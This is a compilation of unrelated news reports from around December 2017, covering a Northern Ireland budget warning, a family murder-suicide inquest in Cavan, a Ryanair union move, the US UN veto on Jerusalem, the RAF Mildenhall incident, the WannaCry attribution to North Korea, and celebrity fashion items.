Raising extra revenue through increased rates and/or tuition fees, ending universal free prescriptions and raising the age for free public transport.

Deeper cuts for non-protected departments - 7% in 2018/19 and 12% in 2019/20.

Mr Widdis said he was publishing the choices "with great reluctance".

The Department of Health warned that none of the scenarios would free up enough money to enable it to maintain services at current levels.

Unless Stormont ministers return in the new year, Secretary of State James Brokenshire will have to impose an annual budget from Westminster. That would reflect his own policy decisions and be seen as a step towards direct rule.

Ulster Unionist finance spokesperson Steve Aiken MLA said the report painted a "startlingly bleak" picture.

"This budgetary outlook demonstrates how Sinn Fein and the DUP singularly failed to take the decisions needed for the benefit of the people of Northern Ireland in their previous terms in the Executive," he said.

"Last year's budget wasn't presented and didn't face the scrutiny of the Assembly or Committees.

"The Secretary of State had to move to bring forward a budget and without an Executive in place to change policy, we continue with the same spending patterns."

Accusing Sinn Fein of "abdicating their responsibilities" in holding up an Executive, Mr Aiken called on the Secretary of State to enable "a coalition of the willing" to get on with the job.

SDLP finance spokesperson Claire Hanna said "at first glance, the paper makes for very grim reading".

"The options presented in the paper show the scale of the challenge for any incoming government, but just because there are challenges does not mean that parties should be able to sit government out," she added.

Alliance Party deputy leader Stephen Farry said the report demonstrated "political failures and missed opportunities" after nearly a year of political vacuum.

"In all scenarios set out by the NI Civil Service, we will see across the board cuts that will have a deep impact on public services and our ability to invest in transforming our economy," he commented.

Mr Farry warned a last-minute budget next year would do nothing to help the proper planning of public services.

Alison Millar, general secretary of the Nipsa trade union, said publishing the paper just before Christmas was a "cynical move" giving little chance for public debate.

"Nipsa do not accept that this is a briefing and that it is necessary to have this responded to by January 26, 2017," she said.

With the "devil in the detail", she demanded a full public consultation on the measures.

There was further concern from Northern Ireland's business and construction sectors.

Angela McGowan, director of the Confederation of British Industry (CBI) in Northern Ireland, said "tough choices" would have to be made with a reduction in the Northern Ireland block grant and increased pressure on Stormont departments.

Ms McGowan added: "It should be noted that there is a very real fear among the business community that if Northern Ireland continues to respond to our healthcare crisis by diverting funds from all other areas into health, then there will be no public money left to support the wider economy."

John Armstrong, director of the Construction Employers Federation, said his sector could not afford uncertainty.

"Neither the construction industry, nor the Government Clients, can afford to be in a position in March, never mind once the financial year has actually started, of still not having a legislatively approved budget," he said.
Coffins are taken into St Marys Church in Castlerahan, Co Cavan, where the funeral of the Hawe family took place

A school vice-principal killed his family and himself as he faced the prospect of his marriage breaking up, his wife's relatives said.

Alan Hawe, his schoolteacher wife, Clodagh, and their three children Liam, 13, Niall, 11, and Ryan, six, were found dead in their home near Ballyjamesduff, Co Cavan, on the morning of Monday August 29 2016.

The 39-year-old father-of-three was also facing a "fall" from his position as a pillar of the community, his wife's family said.

Mrs Hawe, 40, who was found in her pyjamas and dressing gown on the sitting room sofa, had suffered axe and stab wounds.

The boys, who were found upstairs in their beds, suffered stab wounds.

An inquest into their deaths in Cavan courthouse heard Mr Hawe was troubled, depressed and severely mentally ill in the months before the deaths.

He took his own life after killing his wife and three boys.

A solicitor for Mary Coll and Jacqueline Connolly, Mrs Hawe's mother and sister, said Mr Hawe targeted his wife and eldest son first for fear they may fight back.

On the steps of the courthouse, lawyer Liam Keane said the killings were premeditated and calculated.

Flanked by the grief-stricken Mrs Coll and her surviving daughter Jacqueline Connolly, he said: "It is clear from the evidence presented at the inquest that Clodagh and her boys were killed in a sequence that ensured that the eldest and most likely to provide effective resistance were killed first, and they were executed in a manner that rendered them unable to cry out for help."

Mr Keane said the two-day hearing, which included harrowing evidence examining how the school teacher mother and her sons died, does not address why Alan Hawe "committed this savagery".

The solicitor referred to the psychotherapist David McConnell who held counselling sessions with Mr Hawe from March 15 to June 21 2016.

"His counsellor has said that he was concerned about his position as a pillar of the community," Mr Keane said.

"We are aware that he was concerned at his imminent fall from that position and the breakdown of his marriage."

The bodies of the Hawe family were discovered after Mrs Coll called to their home in Oakdene Downs, Barconey, near Ballyjmesduff, and saw an envelope on the back door warning for gardai to be called.

The jury of six women and one man returned verdicts of unlawful killing of Mrs Hawe and her three boys and suicide in the death of Mr Hawe.

Expand Expand Previous Next Close Clodagh Hawe with her sons Liam (13), Niall (11) and Ryan (6) PA Coffins are taken into St Marys Church in Castlerahan, Co Cavan, where the funeral of the Hawe family took place PA / Facebook

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Whatsapp Clodagh Hawe with her sons Liam (13), Niall (11) and Ryan (6)

The inquest was told the vice-principal last visited the psychotherapist and his GP on June 21 2016.

Mr McConnell said Mr Hawe gave no indication that he would harm himself or others. Dr Paula McKevitt said Mr Hawe attended her surgery complaining about a sore toenail.

He also told her he had washed his feet in bleach.

The GP said he was a little stressed about work and had not been sleeping.

Professor Harry Kennedy, clinical director at the Central Mental Hospital, was asked by Coroner Dr Mary Flanagan to review Mr Hawe's suicide note and reports from his therapist and GP.

He said: "The counselling notes from March to June last year indicate that Alan Hawe was troubled."

Professor Kennedy told the hearing that he believed that at the time Mr Hawe carried out the murder-suicide he had progressed from long-term depression to a severe depressive episode with psychotic symptoms.

"When people act in the course of severe mental illness, such as very severe psychotic mental illness, their judgment is severely impaired," Professor Kennedy said.

Referring to his review of the suicide note and the GP's and therapist's reports, Prof Kennedy said: "Hindsight is always a very unfair advantage."

Mr Keane praised the work of gardai in the case.

He also extended thanks to family, friends and neighbours in Virginia, Co Meath and Mrs Hawe's friends, colleagues and community where she taught in Oristown, Co Meath.

"We are aware of all those affected by these killings, especially the friends of Liam, Ryan and Niall and their parents," he said.

Mr Keane asked for the family to be given privacy to grieve with dignity.

At the close of the hearing, coroner Dr Mary Flanagan said she had never been at an inquest before where the foreman of the jury was almost brought to tears while trying to deliver the verdicts.

"I just want to express my deepest sympathies with the Colls and the Hawe families on this dreadful chain of events," she said.

"There are no words to describe the upset that befell your family."

Dr Flanagan said there was nothing she could say that could adequately sympathise with them.

"It's unimaginable what you have had to endure," she said.

The foreman of the jury added: "We have no words either, other than to say that we are absolutely so sorry."
Ryanair said meetings will be held in 'due course'

Ryanair is to recognise cabin crew unions for the first time, the company said.

Meetings will be held in "due course", a spokesman for the firm confirmed, as part of a major shake-up in employee relations.

The airline is due to meet a pilots' union for the first time in its 32-year history on Tuesday.

The decision by one of Europe's largest carriers to deal with unions after years of trenchant opposition follows threatened pre-Christmas strike action by Irish-based pilots, which was called off earlier this week.

A statement from the budget carrier said: " As Ryanair's statement of Friday December 15 made clear, Ryanair is moving to recognise unions, starting this week with meetings with Irish, German and Portuguese pilot unions.

"It will lead on in the new year to meetings with other EU pilot unions and cabin crew unions in due course as well."

The union Impact, which represents Irish-based pilots, has agreed to meet the low-cost carrier's management on Tuesday.

Some 117 directly employed Ryanair pilots are involved in the dispute, the majority of the firm's captains in Ireland.

Any walkout would have severely affected flights there and had a knock-on effect elsewhere.

Wednesday's cancelled one-day industrial action was about winning independent representation for pilots in the company, Impact has said.

Ryanair also faces challenges from staff in Germany, Portugal, Britain and Italy.

In October, airline boss Michael O'Leary wrote to his pilots to offer them better pay and conditions after Ryanair was forced to cancel thousands of flights.

The carrier admitted it had "messed up" the planning of its pilots' holidays.

Its decision to recognise unions after threatened strike action was part of a bid by managers to reassure passengers about their travel plans over the festive season.

It could have the effect of driving up labour costs at the no-frills airline, analysts have suggested.
By PTI: By Lalit K Jha

Washington, Dec 19 (PTI) The US cannot tolerate a nuclear armed North Korea, Americas national security advisor said today, asserting that such a development would pose a grave security threat to the countries in the region and the world.

"I dont think we cant tolerate that risk. The world cant tolerate that risk. I mean, if North Korea has a nuclear weapon, I mean, who are you going to try to prevent getting one? Look at the behavior of this regime, the hostility of this regime to the whole world," US National Security Advisor Lt Gen H R McMaster told CBS News.

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The United States, he said, is applying maximum pressure to North Korea to convince Kim Jong-Un that this is a dead end, this pursuit of nuclear weapons and an intercontinental ballistic missile -- long range ballistic missile which of course poses a grave danger to the whole world.

"So what youve seen is an effort led by the President worldwide really though to isolate that regime, to cut off not just what is restricted by the current national -- the current UN Security Council resolutions but to do more," he said.

President Donald Trump has asked all nations to cut off all trade with this rogue regime which has never met a weapon it didnt use or proliferate or sell to somebody else, he said.

"You saw that with the cyber attacks you just discussed and you saw it with the murder of Kim Jong Uns brother in a public airport with a banned nerve agent. So this is a regime that cant get this - this destructive capability," he asserted.

McMaster said Trump wants all nations to do more. It just doesnt make sense that Russia would increase trade and alleviate any pressure on the North Korean regime, he added.

"Of course, North Korea poses a grave direct threat to all nations including China and Russia, but what happens when North Korea gets this capability? What if other nations in the region arm in this way and thats going to be even more destabilizing and of course, as I mentioned, North Korea has never met a weapon it didnt try to sell to somebody else," he said.

Responding to a question, McMaster said this is not the time to hold talks with the North Koreans.

"What he means is, there cant be negotiations under these current conditions. The north has to show initial steps toward denuclearization and the reason for this is previous approaches to negotiating with North Korea have failed miserably," he said.

"What the regime does is they enter into negotiations, all the while they continue these very destructive programs, these talks often times end in a -- in a weak agreement and then North Korea immediately violates that agreement.

"The problem is now that their programs have advanced so far we dont have time to do that again and so we cant repeat the failed pattern of the past," the top official said.

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McMaster said Russia and the United States should cooperate on North Korea.

"Theres no way that a nuclear armed North Korea is in Russias interest and the President made that clear to President Putin on the phone call," he added. PTI LKJ ZH

--- ENDS ---
The Duke of Edinburgh has bowed out from his long association with the Royal Marines after handing over his role as its Captain General to Prince Harry.

Philips last solo public duty before retiring in August was to take the salute from a group of fundraising Royal Marines and on Tuesday he was joined at Buckingham Palace by his grandson Harry, as he assumed his new position.

After more than 64 years as Captain General, a role which dates back to June 2 1953, when he was appointed in succession to the late King George VI, the duke relinquished his position.

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Buckingham Palace said: The Queen has been pleased to give her formal approval to the appointment of His Royal Highness Prince Henry of Wales as Captain General Royal Marines.

Philips final duty as Captain General was to receive Major General Robert Magowan, the outgoing Commandant General Royal Marines, and his replacement Major General Charles Stickland.

Harry was also at the Buckingham Palace event and the foursome posed for a photograph to mark the occasion.

The Queens Consort announced in May he would be retiring from royal engagements after more than 65 years supporting the monarch in her role as head of state and attending events for his own charities and organisations.

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As a former Royal Navy officer it was fitting that Philips last public solo event featured men from the Royal Marines, an integral part of the Navy.

On August 2 in Buckingham Palaces forecourt Philip celebrated the achievements of the Royal Marines who had taken part in the 1664 Global Challenge, a series of strength and endurance feats raising funds and awareness for the Royal Marines Charity.

It was the last of his 22,219 solo official engagements, carried out since 1952.

The Duke has joined the Queen at a number of events since then and in June spent two nights in hospital being treated for an unspecified infection.
The extreme conditions are expected to last until midday on Tuesday (PA)

Thousands of airline passengers suffered flight disruption as freezing fog hit the UK just days before Christmas.

A severe weather warning was issued by the Met Office covering southern and central England and some eastern parts of Wales until noon on Tuesday.

British Airways cancelled at least 49 departing and 49 arriving flights at Heathrow.

The carrier said in a statement: Forecast fog and freezing conditions across parts of southern England and northern Europe meant a slight reduction in our short-haul flight schedule this morning.

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We know that this is an important time for many families to travel and we are very sorry for the disruption to some of our customers journeys.

A number of flights at Gatwick and London City airports were also cancelled or delayed due to the weather.

Passengers due to fly to or from European destinations on Tuesday were able to change their travel plans and re-book on to alternative flights up until Friday.

Heathrow said a small number of flights were cancelled in advance due to poor visibility at the west London hub.

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A spokeswoman said this decision was made in partnership with air traffic control provider Nats as a last resort to ensure safety.

She went on: Regrettably, this may result in some passengers experiencing disruption to their journeys today and we advise they check flight status with airlines before travelling to the airport.

As always, Heathrows top priority is the safety of our passengers and we apologise to those whose travel may be impacted by the weather.

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No flights were able to take off or land at Manchester Airport for several hours on Monday as one runway was shut due to fog and another was closed for emergency maintenance.

This led to the cancellation or delay of dozens of flights.

Network Rail reported that there were no issues on the network due to fog.
Friends of a couple who were killed in a car crash which also left their children seriously injured have set up a fundraising page in their memory.

Mike and Karen Young, both 37, from Ashton-in-Makerfield, near Wigan, died following the collision in Liverpool Road, Haydock, at about 7.20pm on Sunday.

Their children, a 16-year-old boy and a girl aged 12, are in a serious condition in hospital and a 29-year-old man, who was also a passenger in their car, is critically ill.

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Friend Lisa Jones set up the Gofundme page to raise money for the family following the crash.

She wrote on the site: Everyone is affected by the passing of Karen and Mike, they have left such a big hole in everyones hearts.

There is no target as such, but every little penny will help in a big way.

The 27-year-old male driver of the other vehicle involved, a red Vauxhall Corsa, is receiving treatment in hospital for minor injuries.

Anyone with information about the collision should call Matrix Roads Policing Officers on 0151 777 5747.

Alternatively, call 101, quoting reference number 887 of December 17 2017, or Crimestoppers anonymously on 0800 555 111.
An extra 450 million is to be given to police forces next year (Peter Byrne/PA)

Council taxpayers will fund much of a police cash boost of up to 450 million under a financial settlement unveiled on Tuesday.

The Government announced the central grant for the 43 forces in England and Wales will be protected in cash terms in 2018/19.

Police and crime commissioners will also be given the green light to raise local precept contributions by up to 1 a month for a typical household.

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Together, this will mean force budgets will rise by up to 270 million nationally, according to the Home Office.

In addition, the dedicated pot for counter-terrorism policing will go up by around 50 million to 757 million, while 130 million extra will be provided for priorities, such as special grants to help cover unexpected costs.

In total, including the council precept, this amounts to a year-on-year increase of up to 450 million across the police system for 2018/19, according to the Government.

As a result of the steps outlined on Tuesday, total police funding including the counter-terrorism policing budget, could reach 13.1 billion in 2018/19, up from 12.6 billion in the current financial year.

Most police force funding comes directly from the Government, but around 30% is drawn from council tax through the policing precept levy.

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Home Secretary Amber Rudd said: Whether it is your local forces, the national picture or counter-terrorism capabilities, this is a strong settlement that ensures forces have the resources they need to keep us safe.

Taxpayers will invest more money in forces because the work our officers do to protect us is absolutely vital, and we recognise demand is changing.

However, my message to police forces is that this increased investment must mean we raise the pace of reform.

For too long, embracing digital and increasing productivity have been tomorrows policing problems  now they are todays necessities. The Government is committed to meeting this challenge and we want policing to do the same.

The debate over police resources has been played out in public in recent months.

A string of senior policing figures have raised concerns over the capacity to meet challenges including an unprecedented terror threat and rising levels of violence without a funding boost.

But in November, Ms Rudd urged force leaders to focus on cutting crime instead of lobbying for more money.

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Policing Minister Nick Hurd said: Public safety is our number one priority and we have responded swiftly to evidence of a shift in demand on forces.

This new comprehensive settlement will mean local forces can be more effective in their critical work to fight crime and protect the public.

But shadow home secretary Diane Abbott argued ministers have chosen to hammer the local taxpayer.

She said: Since 2010 the Tories have made huge cuts to the police, 20,000 police officers have been lost and an increasing number of overstretched forces say they cannot respond to certain crimes. Further cuts in police officer numbers are now inevitable.

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West Midlands Police and Crime Commissioner David Jamieson said: Despite warm words over the last few months, this is once again a disappointing settlement that falls a long way short of what police forces require.

Roger Hirst, finance lead for the Association of Police and Crime Commissioners, said the majority of PCCs will warmly welcome the Governments decision to allow flexibility around local council tax precept levels.

He added: However, given the different levels of precept and share of budget accounted for by council tax across different forces we must recognise that some forces still face significant challenges and we look forward to the conclusion of the work on a fairer funding formula ahead of the next spending review.
Jeremy Corbyn has said he is horrified by the sexual harassment allegations that have rocked Westminster and said some of the cases were disturbing.

The Labour leader said he was utterly determined that his partys events would be a safe place for women to go.

In a wide-ranging interview with Grazia, billed as his first with a womens magazine, Mr Corbyn declared he was ready to be prime minister tomorrow but admitted that his untidiness was the trait he most deplores in himself.

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A number of Labour and Tory MPs have been caught up in Westminster sleaze allegations that emerged in the wake of the Harvey Weinstein scandal in Hollywood.

As an MP for 35 years, Mr Corbyn was asked whether he had heard whispers about inappropriate conduct.

Not many whispers, no. I was very shocked, he told Grazia. Im horrified and appalled by it all. I think sexism is a real challenge in society that needs to be dealt with. The allegations are all investigated and dealt with as appropriate. We support the people making them as well as the people being alleged against.

Mr Corbyn said Labour was not dealing with huge numbers of allegations but added: Were dealing with some cases and they are of course disturbing when you get them.

But we have a process, including a confidential hotline and an independent person to investigate. Im utterly determined all Labour Party events will be a safe place for women to go to.

Mr Corbyn said he believed he was on the verge of entering Number 10 as there will probably be another election in the next 12 months.

I think wed probably win it, with a majority, but were working very hard on that.

Im ready to be prime minister tomorrow.

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On Brexit, Mr Corbyn said that some people during the referendum campaign had been extremely irresponsible in what they did and said but we have to recognise it was the largest participation of people in an electoral process ever in Britain and they chose to leave.

Pressed on why he was not campaigning to reverse the decision in a second referendum, he said: I think we should continue putting pressure on the Government to allow a transition period to develop, because at the moment were in danger of getting into a complete mess in March 2019.

On Prince Harry and Meghan Markles wedding, Mr Corbyn  known for his republican beliefs  said shes clearly a very decent person.

The royal family will pay for the wedding, including the church service, the music, the flowers and the reception, the palace said.

But the security costs for the high-profile celebration will fall to the taxpayer.

Mr Corbyn said: Weddings come pretty pricey, I understand, but I think the cost should be borne by the family themselves.
A man arrested after a disturbance at an RAF base during which shots were fired by US service personnel has been detained under the Mental Health Act.

The 44-year-old British man was apprehended at RAF Mildenhall in Suffolk on Monday after a vehicle failed to follow security directions at a checkpoint and drove onto the base.

There was a short pursuit and the vehicle was stopped by US security services near to a US plane, an Osprey, Suffolk Police said.

The incident is not being treated as terrorism and the man, who suffered cuts and bruises during the incident, was arrested on suspicion of criminal trespass and criminal damage.

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A Suffolk Police spokesman said: Police can confirm that a 44-year-old British man arrested in connection with an incident at RAF Mildenhall has been detained under section 136 of the Mental Health Act.

The base, which is used by the US Air Force, was put on lockdown at around 1.40pm on Monday.

Superintendent Kim Warner, of Suffolk Police, said there would be an internal investigation by the base into the shots fired and the security breach.

The police investigation into the incident is continuing and the force earlier said there was no wider threat to the public or occupants on the base and no other people have been injured as a result of the incident.

In November last year, then defence secretary Sir Michael Fallon said RAF Mildenhall was one of 56 Ministry of Defence sites earmarked for closure.

Expand Close The base, which is used by the US Air Force, was put on lockdown at around 1.40pm on Monday (Sam Russell/PA) / Facebook

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Whatsapp The base, which is used by the US Air Force, was put on lockdown at around 1.40pm on Monday (Sam Russell/PA)

The base, due to shut in 2022, is home to the US Air Forces 100th Air Refuelling Wing and 352nd Special Operations Wing.

It is believed to be home to around 3,000 military personnel and their families, and has previously been identified as a potential target for terrorists.

In May 2016, Junead Khan was given a life sentence at Kingston Crown Court for planning a strike against American military personnel in Britain.

Khan, of Luton, used his job as a delivery driver to scout bases including Mildenhall and nearby RAF Lakenheath the previous year.
By PTI: By Lalit K Jha

Washington, Dec 19 (PTI) The US has vetoed a UN Security Council resolution that called on President Donald Trump to withdraw recognition of Jerusalem as Israels capital, exercising its veto power for the first time in six years.

Trump on December 6 announced that he would recognise Jerusalem as Israels capital and move the US embassy there from Tel Aviv, triggering protests and strong condemnation from across the world.

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Even Americas closest allies on the 15-member Council, the most powerful body in the UN system, voted for the resolution.

The one-page resolution, drafted by Egypt, reiterated the longstanding position of the Security Council, in several resolutions dating back 50 years, rejecting Israels sovereignty claim over Jerusalem.

They warned that Trumps announcement about Jerusalem, which upended decades of American policy, threatened to subvert the effort to solve one of the worlds most intractable conflicts.

This was the first veto exercised by the Trump administration and the first one by the US in six years.

"The fact that this veto is being done in defence of American sovereignty and in defence of Americas role in the Middle East peace process is not a source of embarrassment for us; it should be an embarrassment to the remainder of the Security Council," US Ambassador to the UN Nikki Haley has said in defence of exercising veto.

"What we witnessed here today in the Security Council is an insult. It is one more example of the UN doing more harm than good in addressing the Israeli-Palestinian conflict," she said on the draft resolution that would have called upon all states to refrain from establishing diplomatic missions in Jerusalem.

"The US will not be told by any country where we can put our embassy...Today, for the simple act of deciding where to put our embassy, the United States was forced to defend its sovereignty. The record will reflect that we did so proudly," the Indian-origin US ambassador to the UN said.

The resolution calling on Trump to withdraw recognition of Jerusalem as Israels capital was supported by close allies of the US ? Britain, France and Japan.

"We disagree with the US decision unilaterally to recognise Jerusalem as the capital of Israel before a final status agreement and to move the US embassy to Jerusalem," said British Ambassador to the UN Matthew Rycroft.

"As recent events in the region have shown, these decisions are unhelpful to the prospects for peace in the region, an aim that all of us in this Council remain committed to. The British Embassy to Israel is based in Tel Aviv and we have no plans to move it," Rycroft said.

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Rycroft said that the status of Jerusalem should be determined through a negotiated settlement between the Israelis and the Palestinians, and should ultimately be the shared capital of the Israeli and Palestinian states.

Expressing hope that the US would return to the international consensus, Permanent Representative of France to the United Nations Francois Delattre warned that there was a risk of converting a political conflict into a religious one, from which only the radicals would gain.

Jerusalem was key for peace, he stressed.

Unilateral actions in the current environment risked raising tensions and setting back the possibilities for negotiations towards the two-State solution that the Russian Federation supported, said the Vladimir Safronkov from Russia.

Riyad H Mansour, Permanent Observer for the State of Palestine, said it is reprehensible that the United States has chosen to disregard international law and undermine its own role in any future peace process.

Palestinians would never accept occupation as a permanent reality, he stressed.

"Those who want peace do not recognise illegal actions and measures but rather recognise the rights of the Palestinian people as enshrined in international law," he said.

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However, Israeli Ambassador Danny Danon said that Trump had merely stated a fact by recognising that Jerusalem was the capital of Israel.

Many adversaries has sought to delegitimise the Jewish presence in Jerusalem, but the connection with the people had never been broken, and would never be broken, he vowed. PTI LKJ UZM AKJ UZM

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Is AMR Modern-day FRANKENSTEINS MONSTER?

Antimicrobial Resistance (AMR) continues to pose a significant public health problem in terms of mortality and economic loss. The rising AMR is a matter of huge concern that needs to be tactfully handled and health authorities of several countries, including India, have formulated action plans for its containment. Significant efforts by the government, an active involvement of startups and diagnostic players is a good start. The question remains, whether this will be enough.

For Feedback, please email us at: communications@mmactiv.com
By PTI: New Delhi, Dec 19 (PTI) Telecom operator Vodafone India today said it will offer up to Rs 2,100 cash back to customers buying itels A20 smartphone retailing at Rs 3,690 a unit.

"Vodafone India and itel Mobile today announced a strategic partnership to provide an exciting cashback offer on the purchase itel A20 Smartphone. The offers provides a cashback of Rs 2,100 to a customer buying itel A20 bringing its effective price down from Rs 3,690 to just Rs 1,590," Vodafone and itel said in a joint statement.

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To avail this offer, itel and Vodafone customers will have to buy the 4G VoLTE enabled itel A20 smartphone priced at Rs 3,690 and recharge with Rs 150 or more in a calendar month for 18 months.

The recharge can be done either cumulatively or as a one-time recharge. At the end of 18 months, customers will receive a cashback of Rs 900. Upon continuing to recharge Rs 150 per month, customers can enjoy an additional cashback of Rs 1,200 after another 18 months.

The bundled offer can be availed up to March 31, 2018. and the users will receive the cashback in their M-Pesa wallets, allowing them to recharge, pay bills, transfer money or withdraw cash, according to their convenience, the statement said.

The A20 smartphone comes 1GB RAM, 8GB internal memory, and a 1.3 GHz quad-core processor and 1500 mAh Lithium-ion battery. PTI PRS MR

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Will Being The Dapper At this event as well, Will maintained his dapper-like style. He was wearing formals and totally slayed at the event. He was wearing a glossy formal suit with a pair of black boots. In the most conventional formal wear too, Smith killed it totally. Along with him was the cast of Bright, including Noomi Rapace, Joel Edgerton and David Ayer who also slayed with their style statements.

Noomi Rapace Noomi Rapace, who is also a part of the film by Netflix, attended the promotional event in Mumbai. She was totally slaying it with her floral embroidered sequin attire. Along with the attire, she matched dotted mesh stockings and high heels.

Joel Edgerton Joel was also in formals and he too did not look any less than a dapper. He was carrying this light tan suit in his coolest way, which he matched with a pair of tan boots. He ditched on his tie and yet his look was one of the coolest.

David Ayer David, also a crucial part of the cast, attended the event in one of his coolest formal looks. He was wearing a black formal suit and going a bit off-beat, matching it with a brown tie. We called it off-beat because brown tie with a black suit is not a regular thing we see; but David carried it with all his sass.

Will Waving At The Fans After the event, Will waved at his fans who had gathered to meet their favourite stars.
Ragini MMS Fame Karishma Sharma Dares For Some Skin Show In This Latest Photo Shoot Bollywood Wardrobe Dona

Once again, Ragini MMS and Ye Hai Mohabbatein fame Karishma Sharma turned out to be a sutlry siren. This time, it was way much bolder.

Karishma went naked (almost) for Photographer Amit Khanna's 2018 streaming calender. Along with other celebrities, Karishma too dared to bare her body.

Do check out all the images.

Blanket-Cladded Karishma went almost bare apart from the brown furry blanket to cover her privates. In each look, she carried the semi-nude postures with utmost sass. Well-Styled Celebrity stylist Prasoon Sharma styled the looks of Karishma with perfection, leaving her to look hotter than ever and, at the same time, curbing down vulgarity. Dainty Accessories While, in this sheer skin show photo shoot, there was no need for any accessories, but with the help of stylist Prasoon Sharma and photographer Amit Khanna, Karishma carried one gold bracelet and pink painted nails to make her look even better. Daring For Baring It is not a cakewalk to maintain hotness and nudity at par. Carrying the nudity is a challenge and with the help of just the blanket, Karishma carried it perfectly by keeping the blanket turned around her in different ways, posing in different stances. We are stunned! Sultry Makeup For this shoot and the earlier ones, celebrity makeup artist Anshu has conducted makeup for Karishma and with her magical touch, she turned even hotter. Bare Games Followed By Trolls Every time a celebrity turns down for some skin show, they have been trolled and judged on social media platforms. Similarly, for Karishma, her latest shoot has been criticized by many and she has been body-shamed by haters. The Oomph Factor Karishma always had the oomph factor in her and apart from her on-screen appearances, we have seen her photo shoots for many photographers, including Amit Khanna. She carried some stunning looks in a bikini for Amit's earlier shoots too. The Other Stars Who Bared Apart from Karishma, actors and super models Sakshi Pradhan, Pooja Bimrah, Scarlett Rose and Suzanna Mukherjee have as well dared to go bare for the shoot. Stay tuned while we explore their looks too.
Pooja Hegde Fired Up Bright's Promotional Event Bollywood Wardrobe Dona

While everyone is excited about Will Smith's latest visit to India, most have overlooked the way Bollywood actress Pooja Hegde was slaying at the same promotional event for Netflix's upcoming movie, Bright.

Pooja was at the event, and that too in semi formals; but the way she was carrying the look was extremely astounding. She was wearing a white blazer with white shorts and beige-coloured heels. The entire combination was smoking hot!

While we were ogling over her style book, she managed to pull a 'kala dhaga' string with style and sass.

Did you find her look as mesmerizing as we did? Do let us know in the comments section.
The US administration has held North Korea directly responsible for the WannaCry malware attack that affected hundreds of thousands of computers across the world and demanded ransom for releasing locked up digital documents and databases.

By India Today Web Desk: US President Donald Trump's administration has blamed North Korea for the WannaCry malware attack that affected computers across the world.

The administration has held North Korea 'directly responsible' for the malware attack that hit more than 300,000 computers in 15 nations. This is the first time that US has blamed North Korea for the Wanna Cry malware attack.

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FYI: In May 2017, WannaCry attack struck more than 150 nations and locked up digital documents and databases. A ransom was demanded for the release.

Homeland security adviser Tom Bossert wrote in a Wall Street Journal op-ed that Pyongyang will be held accountable for it.

Bossert said the administration is attributing the responsibility based on evidence. Other governments and private companies have given their confirmation as well. The malware attack froze computers at hospitals across the United Kingdom thus halting medical treatment.

"North Korea has acted especially badly, largely unchecked, for more than a decade, and its malicious behavior is growing more egregious. WannaCry was indiscriminately reckless," he wrote.

Bossert said the Trump administration will continue to use its "maximum pressure strategy to curb Pyongyang's ability to mount attacks, cyber or otherwise."

WannaCry came to a screeching halt thanks to a British hacker named Marcus Hutchins, who discovered that the malware's author had embedded a "kill switch" in the code. Hutchins was able to trip that switch, and the attack soon ended.

In an unusual twist, Hutchins was arrested months later by the FBI during a visit to the U.S.; he pleaded not guilty and now awaits trial on charges he created unrelated forms of malware.

Also read: WannaCry: Hundreds of ATMs shut down across India to escape ransomware attack, RBI denies

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Update 8.06pm: A man is being questioned by police after a disturbance at an RAF base during which shots were fired by US service personnel.

The 44-year-old British man was apprehended at RAF Mildenhall and is being held by Suffolk Police on suspicion of criminal trespass. The incident is not being treated as terrorism.

Superintendent Kim Warner, of Suffolk Police, said a vehicle failed to follow security directions at the entrance and drove on to the base.

There was a "short pursuit" and the vehicle was stopped by US security services, he said.

The man, who suffered cuts and bruises, has been taken into custody and police are not looking for anyone else on the site in relation to the incident.

There were initial reports of a car being rammed into a checkpoint, but Mr Warner said he was "unaware of any damage to the base itself".

He said the vehicle was brought to a halt close to a US plane, an Osprey, and it was not thought there was "any significant damage" to the vehicle or the aircraft.

There was "no obvious motive at this stage", he added.

The base, which is used by the US Air Force, was put on lockdown at around 1.40pm on Monday.

Mr Warner said there would be an internal investigation by the base into the shots fired and the security breach.

Suffolk Police said inquiries were ongoing and officers were receiving support from other law enforcement agencies.

The force said in a statement: "There is no wider threat to the public or occupants on the base and no other people have been injured as a result of the incident."

In November last year the then defence secretary Sir Michael Fallon said RAF Mildenhall was one of 56 Ministry of Defence sites earmarked for closure.

The base, due to shut in 2022, is home to the US Air Force's 100th Air Refuelling Wing and 352nd Special Operations Wing.

It is believed to be home to around 3,000 military personnel and their families, and has previously been identified as a potential target for terrorists.

In May 2016, Junead Khan was given a life sentence at Kingston Crown Court for planning a strike against American military personnel in Britain.

Khan, of Luton, used his job as a delivery driver to scout bases including Mildenhall and nearby RAF Lakenheath the previous year.

Update 6.52pm: Incident not being treated as a terrorism

A disturbance at RAF Mildenhall during which shots were fired by US service personnel is not being treated as terrorism.

A 44-year-old British man was initially arrested on suspicion of criminal trespass, Suffolk Police said

The man, who suffered cuts and bruises in the incident, has been taken into custody and police are not looking for anyone else on the site in relation to the incident.

Update 4.53pm: 'No wider threat to the public'

No other police forces are thought to be involved in the incident at this stage.

A spokeswoman for Suffolk Police was unable to confirm whether the matter was being treated as terrorist-related.

But the force said in a statement that while the incident was ongoing, there was no wider threat to the public, or base occupants.

In November last year the then Defence Secretary Michael Fallon said RAF Mildenhall was one of 56 Ministry of Defence sites earmarked for closure.

The base, which is due to shut in 2022, is home to the US Air Force's 100th Air Refuelling Wing and 352nd Special Operations Wing.

In a statement issued by Suffolk Police, a US Air Force spokesman said: "We've concluded our combined response to this incident and we are continuing to support local authorities in the ongoing investigation."

Update 3.31pm: US military open fire in incident at British base

Shots were fired by US service personnel and a suspect was arrested after a disturbance at RAF Mildenhall.

Suffolk Police confirmed the arrest as the base, which is used by the US Air Force, was put on lockdown amid reports of a car being rammed into a checkpoint.

The force said the suspect had been taken into custody.

He was said to have suffered cuts and bruises during the incident, which happened at around 1pm.

Update 3.11pm: US Air Force was on lockdown after car tries to ram gates

Two businesses on the base confirmed they were no longer on lockdown after the security alert.

A member of staff at Jumppin Jacks Funhouse in Mildenhall told the Press Association: "All the American children playing here suddenly left, but we didn't hear anything or know why."

Original story (2.55pm): US Air Force in Britain on lockdown after 'significant incident'

UK police are responding to reports of a "significant incident" at RAF Mildenhall.

The US Air Force base in Suffolk is reportedly on lockdown amid reports of a car trying to ram the gates.

A brief statement on the bases Facebook page said: "RAF Mildenhall locked down at 1pm today following reports of a disturbance on base.

"The base was locked down and emergency personnel are responding to the situation.

"Additional details will be provided as they become available."
In a statement, the FBI said local police were the primary respondents and there was no information suggesting "an elevated risk to Washington residents."

